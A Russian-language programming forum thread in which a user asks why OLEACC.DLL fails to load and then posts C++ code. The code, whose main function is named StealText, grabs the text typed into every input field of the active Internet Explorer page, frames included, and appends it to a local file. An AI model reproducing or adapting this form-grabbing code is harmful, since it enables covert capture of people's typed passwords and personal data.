Guest |
Отправлено: 16.12.2005, 20:05 |
|
Не зарегистрирован
|
имеется пример в котором происходит считывание данных из IE и там есть следующий код HINSTANCE hOleAccInstance=::GetModuleHandle("OLEACC.DLL"); но функция возвращает NULL, я так думаю что эта DLL-ка должна поставляться вместе с Windows (у меня XP)но на компе я ее не нашол |
|
GIZMO |
Отправлено: 17.12.2005, 10:42 |
|
Машинист паровоза
Группа: Участник
Сообщений: 174
|
QUOTE (Guest @ 16/12/2005, 20:05) | имеется пример в котором происходит считывание данных из IE и там есть следующий код HINSTANCE hOleAccInstance=::GetModuleHandle("OLEACC.DLL"); но функция возвращает NULL, я так думаю что эта DLL-ка должна поставляться вместе с Windows (у меня XP)но на компе я ее не нашол |
Полностью код приведи.
|
|
Guest |
Отправлено: 17.12.2005, 13:03 |
|
Не зарегистрирован
|
CODE |
HWND GetActiveWindowChild()
{
// GetForegroundWindow() — получает хендл окна, с которым сейчас работает
юзер
// GetWindowsThreadProcessID() — по полученному хендлу определяет
идентификатор // программы
DWORD dwThreadID = ::GetWindowThreadProcessId(::GetForegroundWindow(),
NULL);
// GUITHREADINFO — структура, которая содержит информацию о программе
GUITHREADINFO gti = {0};
gti.cbSize = sizeof(GUITHREADINFO);
::GetGUIThreadInfo(dwThreadID, >i);
return gti.hwndFocus;
}
С получением текущего окна и его информации закончили. Теперь перейдём
непосредственной к главной функции, в которой происходит всё остальное:
void StealText()
{
// Получаем хендл нужного окна
HWND hWnd = GetActiveWindowChild();
char szClass[50];
// Функцией GetClassName получаем имя класса программы
GetClassName(hWnd,szClass,sizeof(szClass)/sizeof(szClass[0])-1);
// Если класс 'Internet Explorer_Server', то продолжаем...
if(lstrcmp(szClass,_T("Internet Explorer_Server")))
return;
HINSTANCE hOleAccInstance=::GetModuleHandle("OLEACC.DLL");
if(!hOleAccInstance)
return;
// С помощью COM-интерфейса получаем указатель на страницу. После его получения со
// страницей можно вытворять, что угодно. Нужно только немного
полистать MSDN
CComPtr<IHTMLDocument2> spDoc;
LRESULT lRes;
UINT nMsg = ::RegisterWindowMessage(_T("WM_HTML_GETOBJECT"));
::SendMessageTimeout(hWnd, nMsg, 0L, 0L, SMTO_ABORTIFHUNG, 1000,
(DWORD*)&lRes);
if(LPFNOBJECTFROMLRESULT pfObjectFromLresult =
(LPFNOBJECTFROMLRESULT)::GetProcAddress(hOleAccInstance,
_T("ObjectFromLresult")))
{
if(SUCCEEDED((*pfObjectFromLresult)(lRes, IID_IHTMLDocument, 0,
(void**)&spDoc)))
{
// Получаем указатели на нужные нам СOМ-интерфейсы
CComPtr<IDispatch> spDisp;
CComQIPtr<IHTMLWindow2> spWin;
CComPtr<IHTMLFramesCollection2> spFramesColl;
CComPtr<IHTMLElementCollection> spElemColl;
spDoc->get_Script(&spDisp);
spWin = spDisp;
// Ïолучаем исходный код страницы HTML
spWin->get_document(&spDoc.p);
CComVariant frIndex;
CComVariant frOut;
CComVariant index;
long lFrames;
long lItems;
// Получаем количество фреймов
spWin->get_frames(&spFramesColl);
spFramesColl->get_length(&lFrames);
// Запускаем цикл, чтобы пройтись по всем фреймам в окне
for(long x=0; x<lFrames; x++)
{
CComQIPtr<IHTMLWindow2> spFrameWindow;
CComPtr<IHTMLDocument2> spDoc1;
frIndex = x;
// Далее уже получаем код каждого фрейма по отдельности и
// анализируем его
spFramesColl->item(&frIndex, &frOut);
spFrameWindow = frOut.pdispVal;
spFrameWindow->get_document(&spDoc1.p);
// Вытягивание текста из полей
spElemColl.Release();
spDoc1->get_all(&spElemColl);
lItems = 0;
spElemColl->get_length(&lItems);
for(long i=0;i<lItems;i++)
{
CComQIPtr<IHTMLInputTextElement> spInput;
CComPtr<IDispatch> spDispElem;
index=i;
spElemColl->item(index,index,&spDispElem);
spInput=spDispElem;
if(spInput.p)
{
CComBSTR str;
spInput->get_value(&str);
// Если текст есть, то записываем его в
// отдельный файл
if(str)
{
CAutoVectorPtr<char> strA(new char[str.Length()+1]());
WideCharToMultiByte(CP_ACP,
0,str,str.Length()+1,
strA,str.Length()+1,0,0);
strA[str.Length()]=0;
F = fopen("C:\output.txt", "at+");
fprintf(F, "%s\n", strA);
fclose(F);
}
}
}
}
}
}
}
| |
|
|